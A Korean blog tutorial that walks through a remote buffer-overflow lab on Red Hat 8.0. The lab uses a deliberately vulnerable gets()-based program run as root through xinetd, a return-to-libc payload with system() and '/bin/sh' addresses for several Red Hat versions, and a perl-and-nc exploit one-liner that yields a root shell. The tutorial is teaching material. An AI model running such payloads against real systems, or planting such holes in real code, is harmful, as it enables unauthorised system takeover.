본문 바로가기
System/Linux

remote BOF1 - [xinetd 데몬으로 작동하는 프로그램]

by bbolmin 2012. 7. 24.

먼저 local bof만 하다가 remote bof가 무엇인지 모르는 분들을 위해서 간략하게 설명하자면 local bof의 경우에는 해당 서버의 계정이 있을때 서버에 접속하여 root권한 아니면 자신보다 더 높은 권한을 얻을 수 있게됩니다. 그런데 해당 서버에 계정이 없을 때는 지금 말하는 remote attack을 하면 됩니다. remote bof는 서버에서 제공하는 취약한 서비스 프로그램을 exploit하여 해당 서비스를 실행하는 데몬의 실행권한(쉘)을 가져올 수 있게 됩니다.

 

 

그럼 xinetd로 작동하는 프로그램에 대해서 remote bof를 해보도록 하겠습니다.  실습 환경은 Red Hat Linux release 8.0 입니다.

시작하기 전에 먼저 데몬의 2가지 실행 모드에 대해서 조금 알아보면 1.xinetd 수퍼데몬에 의해 제어되는 서비스 데몬이 있고  2. 독립적으로 실행되는 Standalone 환경의 서비스 데몬이 있습니다. 

 

xinetd 수퍼 데몬의 서비스 데몬에 대표적으로 telnet이 있습니다. 서버로 telnet 접속을 시도하면 /etc/xinetd.d/telnet에 정의되어 있는 telnet 서비스 데몬과 연결하여 서비스를 제공해주는 형태입니다. Standalone 환경의 서비스 데몬은 socket생성, bind(), listen()등의 과정을 통해서 만든 독립적인 서비스 프로그램 형태입니다.

 

 xinetd에 데몬과, Standalone 데몬의 bof exploit시 큰 차이점은 xinetd 데몬의 경우에는 표준 입출력의 주체가 서버에 접속한 클라이언트가 되지만 Standalone의 경우에는 클라이언트의 통신을 표준 입출력이 아니라 socket을 생성하고 send(), recv()로 데이터 입출력을 한다는 것입니다. 여기서 우리가 Standalone의 독립적인 프로그램을 bof exploit하는데 일반 local exploit에 사용하던 쉘코드를 사용한다면 어떻게 될까요? . . . .       

  bof에 성공했다면 쉘을 얻을 수 있겠지만 해당 쉘은 local에 떨어진 것이므로 원격에 있는 자신과는 데이터를 주소받을 매개체가 없습니다.(표준 입출력이 아니므로) 따라서 이런 경우에는 dup2를 이용하여 표준 입출력 디스크립터를 소켓에 복사해준 쉘코드(bind shell, connection back shell 등)을 사용해야 합니다. 그런데 위에서 말했듯이 xinetd 데몬의 경우에는 클라이언트가 표준 입출력의 주체가 되므로 단순히 local exploit에 사용했던 쉘코드나 RTL 공격이 가능하다는 것입니다.

 

여기까지 두가지 형태의 데몬에 대해 간략하게 알아보았고, 이제 xinetd에 등록된 취약 프로그램을 remote bof를 해보도록 합시다.

 

 

 

 

아래는 bof에 취약한 vuln.c의 소스입니다.

#include <stdio.h>

 

int main()
{
        char buf[100];

        gets(buf); //bof vulnerability
        printf("입력값 : %s \n",buf);

        return 0;
}

 

취약프로그램을 만들었으면 /etc/xinetd.d에 등록해 줍니다.

 

 


flags = REUSE                         //소켓 작동 관련 플래그
socket_type = stream                // stream : tcp 소켓, dgram : udp 소켓
wait = no                                // no : 새로운 접속시 대기시간 없이 처리
user = root                             // 데몬을 실행하는 유저의 권한
server = /home/bbolmin/vuln   //해당 서비스를 처리할 서버 프로그램 위치
disable = no                           // 해당 서비스의 사용 여부 (no : 사용함) 

 

 

그리고 서버에 사용할 포트를 열어줍니다.

echo "vuln 9999/tcp" >> /etc/services

 

 

 

(공격 서버에서 서버 프로그램 작동 확인)

 

 

혹시 안된다면 service xinetd restart로 xinetd를 다시 시작해 보시길 . . .

아니면 cd /etc/init.d에서 ./xinetd restart

 

그럼 이제 remote bof공격을 시도해보겠습니다.

 

1. 먼저 local bof와 같게 buffer의 크기를 알아내서 ret영역을 알아내야 겠죠.

 

 

 

 

위와 같이 124byte의 문자를 넣었을때는 input strings : ~ 의 결과 값이 오지 않습니다. 이 것은 local환경에서 Segmentation fault가 일어나는 것입니다. -> 여기서 120byte + sfp(4) + ret(4) 이란 것을 알 수 있습니다.

 

 

2. 쉘 코드를 스택에 넣어서 공격하거나 RTL을 이용하거나 아무거나 해도 되는데 여기서는 system()함수로 RTL을 해서 쉽게 하도록 하겠습니다. 대략적인 공격 payload는 (perl -e 'print "\x90"x124, "&system()", "a"x4,"&/bin/sh"'; cat)|nc 192.168.223.104 9999 입니다.

 #local에서는 setreuid와 같은 함수 호출로 권한 설정을 했었는데 remote 어택은 처음부터 해당 서버 쉘을 가지지 않고 있기 때문에 system()함수 만으로도 권한을 가져 올수 있다고 합니다. (++ 리모트 어택에선 취약 프로그램에 setuid bit가 없어도 상관 없는듯 ;;)

 

 

그럼 system()의 주소와 "/bin/sh"의 주소만 알면 공격할 수 있습니다. 리눅스 버전이 같으면 이 주소값도 같으므로 해당 환경에서 구해주면 됩니다. 현재 환경은 Red Hat Linux release 8.0 입니다. 여기서의 system()의 주소는 0x42041e50이고 system()함수 내의 "/bin/sh"의 주소는 0x42121466입니다.

 

 

레드햇 버전별 주소는 아래와 같습니다.

 

레드햇 6.2 - &system() : 0x4005aae0, &"/bin/sh" : 0x400fdff9

레드햇 7.3 - &system() : 0x42049e54, &"/bin/sh" : 0x421273f3

레드햇 8.0 - &system() : 0x42041e50, &"/bin/sh" : 0x42121466

레드햇 9.0 - &system() : 0x4203f2c0, &"/bin/sh" : 0x42127ea4

 

ref - http://research.hackerschool.org/Datas/Research_Lecture/remote1.txt

 

 

3. 이제 공격 코드는 (perl -e 'print "\x90"x124, "\x50\x1e\x04\x42", "a"x4,"\x66\x14\x12\x42"'; cat)|nc 192.168.223.104 9999와 같이 완성되었으니 exploit해보면 한번에 쉘을 얻을 수 있습니다.

 

 


공격 시스템음 우분투였고 exploit후 레드햇 8의 root 쉘을 얻게 되었습니다. -

 

쉘 코드를 이용한 브루트 포스나 쉘 코드와 ret %esp와 같은 공격도 해볼 수 있습니다.

여기서는 이만 ....

 

 

ref - http://research.hackerschool.org/Datas/Research_Lecture/remote1.txt